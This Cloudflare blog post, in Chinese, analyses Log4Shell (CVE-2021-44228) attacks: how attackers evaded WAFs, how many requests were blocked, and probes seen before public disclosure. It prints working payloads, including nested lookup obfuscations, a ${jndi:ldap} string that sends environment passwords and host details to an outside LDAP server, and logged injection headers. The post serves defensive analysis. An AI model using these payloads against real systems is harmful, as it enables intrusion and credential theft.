订阅以接收新文章的通知:

Log4j CVE-2021-44228 漏洞被公开披露前的攻击利用以及规避与泄漏演变

2021/12/14

9 分钟(阅读时间)

在此博客帖文中,我们将介绍全球出现的 WAF 规避模式和泄露企图,有关漏洞利用企图的趋势数据,以及有关我们在 CVE-2021-44228 公开披露之前看到的漏洞利用的信息。

简而言之,我们在 12 月 1 日看到了对该漏洞的有限测试,即在公开披露之前的 8 天。我们在公开披露后仅 9 分钟就看到了利用该漏洞的第一次尝试,足见攻击者利用新发现的漏洞的速度有多快。

我们还发现大量企图,尝试执行简单阻止而绕过 WAF,并且企图泄露密钥凭证和密码等数据。

WAF 规避模式和泄露示例

披露 CVE-2021-44228(现在通常称为 Log4Shell)以来,我们发现攻击者采用了许多手段,从使用简单的攻击字符串,到积极设法绕过 WAF 的阻止,不一而足。WAF 提供了阻止外部攻击者的有用工具,而攻击者往往企图规避 WAF 以绕过那些过于简单的规则。

在 Log4j 漏洞利用的最早阶段,攻击者使用通常以 ${jndi:dns, ${jndi:rmi${jndi:ldap 开头的解除混淆的字符串以及简单的规则来查找那些有效的模式。

在这些字符串被阻止之后,攻击者迅速改用规避方法。他们曾经并且仍在使用标准规避方法(对字符转义或编码)以及针对 Log4j 查找语言量身定做的规避手段。

任何胜任其职的 WAF 都能够处理标准方法。将 ${ 编码为 %24%7B\u0024\u007b 之类的伎俩,早在应用规则以检查所使用的特定漏洞利用之前就可轻松逆转。

然而,Log4j 语言有一些丰富的特性,使得隐藏一些 WAF 所查找的关键字符串成为可能。例如,${lower} 查找会将字符串转变为小写。因此,${lower:H} 会变成 h。使用查找,攻击者可以伪装 jndi 之类的关键字符串,以便规避 WAF。

在真实场景中,我们发现有人使用 ${date}${lower}${upper}${web}、${main} 和 ${env} 进行规避。此外,${env}、${sys} 和 ${main}(以及针对 Docker、Kubernetes 和其他系统的其他专门查找)被用于泄露目标进程的环境中的数据(包括关键密钥)。

要更好地理解此语言的用法,请参阅下面的小 Java 程序,它从命令行接受一个字符串,并通过 Log4j 将其记录到控制台:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4jTester{
    private static final Logger logger = LogManager.getLogger(log4jTester.class);
       
    public static void main(String[] args) {
	logger.error(args[0]);
    }
}

这个简单的程序向控制台输出内容。这里它记录了 hide 这个词。

$ java log4jTester.java 'hide'
01:28:25.606 [main] ERROR log4jTester - hide

Log4j 语言允许在 ${} 之内使用 ${},因而攻击者能够组合多个不同的关键字进行规避。例如,以下 ${lower:${lower:h}}${lower:${upper:i}}${lower:D}e 会被记录为 hide 一词。这样一来,举例来说,攻击者就很容易规避对 ${jndi 的简单化搜索,因为 jndi 可以通过类似方式进行隐藏。

$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'
01:30:42.015 [main] ERROR log4jTester - hide

其他主要的规避方法利用了 :- 语法。利用该语法,攻击者可以为查找设置默认值,如果所查找的值为空,则会输出默认值。因此,举例来说,可以通过查找不存在的环境变量来输出一个词的字母。

$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}' 
01:35:34.280 [main] ERROR log4jTester - hide

类似方法用于 ${web}、${main} 等,以及 ${::-h} 或 ${::::::-h} 之类的字符串,后两者都会变成 h。当然,组合使用这些方法还会造成越来越复杂的规避企图。

要感受一下规避是如何迅速运作的,请参阅下面的图表,其中显示了出现在 WAF 块(橙线)中的解除混淆的 ${jndi:、${lower} 查找(绿线)的使用、URI 编码(蓝线)的使用,以及最近流行的一种特定规避方法:${${::-j}${::-n}${::-d}${::-i}(红线)。

在开头几天,规避情况相对罕见。然而,现在,尽管 ${jndi: 之类的幼稚字符串仍然大行其道,规避情况已经大增,WAF 必须阻止这些改进的攻击。

我们上周写过漏洞利用的初始阶段,这些阶段主要是开展侦察工作。在那之后,攻击者已进展到数据提取。

我们发现 ${env} 被用于提取环境变量,${sys} 被用于获取有关 Log4j 运行的系统的信息。这是在真实场景中被阻止的一个攻击企图,该攻击企图泄露各种 Log4j 查找中的大量数据:

${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}

其中您可以看到,用户、主目录、Docker 镜像名称、Kubernetes 和 Spring 的详情、用户和数据库的密码、主机名和命令行参数都被泄露。

由于规避和泄露手段异常复杂,WAF 供应商需要检查 ${ 的任何出现情况,并作可疑处理。为此,我们做了进一步的工作,清理我们发送给客户的所有日志,将 ${ 转换为 x{。

Cloudflare WAF 团队一直在设法阻止企图的漏洞利用,但客户使用最新版本的 Log4j 修补其系统或应用缓解措施仍然至关重要。由于记录的数据并不一定通过互联网传输,因此系统无论联网都需要修补。

所有付费客户都有可配置的 WAF 规则,用于帮助防御 CVE-2021-44228,并且我们还为免费客户部署了保护措施。

CVE-2021-44228 漏洞利用趋势

Cloudflare 迅速实施了 WAF 规则以帮助阻止这些攻击。以下图表显示了这些被阻止的攻击是如何演变的。

从 12 月 10 日到 12 月 13 日,我们发现每分钟阻止的次数攀升,如下所示。

日期 每分钟阻止的请求数均值
2021 年 12 月 10 日 5,483
2021 年 12 月 11 日 18,606
2021 年 12 月 12 日 27,439
2021 年 12 月 13 日 24,642

在我们的初始博客帖子中,我们提到加拿大(下面的绿线)是漏洞利用企图的最大来源国。在我们做出预测之后,这种态势并未延续,现在攻击来自全世界各地,有直接来自服务器的,也有通过代理的。

披露之前的 CVE-2021-44228 漏洞利用

CVE-2021-44228 在 2021-12-09 14:25 UTC 的推文(现已删除)中披露:

但是,我们的系统在 2021 年 12 月 1 日捕获到三次漏洞利用或扫描企图。如下所示。在每一次企图中,我混淆了 IP 地址和域名。这三次企图将 ${jndi:ldap} 查找注入到 HTTP User-Agent 标头、Referer 标头和 URI 参数中。

2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D

2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D						

2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}	
Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D	

在这三次企图之后,我们没有发现进一步的活动,直到公开披露 9 分钟之后,有人企图在一个游戏网站上通过 URI 参数注入 ${jndi:ldap} 字符串。

2021-12-09 14:34:31
Parameters: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}

总结

CVE-2021-44228 被大量侵入者广泛地利用。WAF 作为帮助防止外部攻击的措施很有效,但它们并不是万无一失,攻击者也在想方设法进行规避。数据和凭证泄露的潜在可能性出奇地高,更具破坏力的入侵和攻击的长期风险非常高。

立即缓解并修补使用 Log4j 的受影响软件至关重要,切莫犹豫。

我们保护整个企业网络,帮助客户高效构建互联网规模的应用程序,加速任何网站或互联网应用程序抵御 DDoS 攻击,防止黑客入侵,并能协助您实现 Zero Trust 的过程

从任何设备访问 1.1.1.1,以开始使用我们的免费应用程序,帮助您更快、更安全地访问互联网。要进一步了解我们帮助构建更美好互联网的使命,请从这里开始。如果您正在寻找新的职业方向,请查看我们的空缺职位
简体中文Log4J (CN)Log4Shell (CN)Vulnerabilities (CN)

在 X 上关注

Celso Martinho|@celso
Cloudflare|@cloudflare

相关帖子

2024年4月05日 13:01

Browser Rendering API GA,推出 Cloudflare Snippets 、SWR,并向所有用户提供 Workers for Platforms

Browser Rendering API 现已向所有付费 Workers 客户提供,并改进了会话管理功能...

2024年4月04日 13:05

生产安全新工具——渐进式部署、源码映射、速率限制和全新 SDK

我们今天发布了五项更新,旨在为您提供更 多功能——渐进式部署、Tail Workers 中的源映射堆栈跟踪、全新的速率限制 API、全新的 API SDK,以及对 Durable Objects 的更新——每项更新都旨在满足重要的生产服务需求...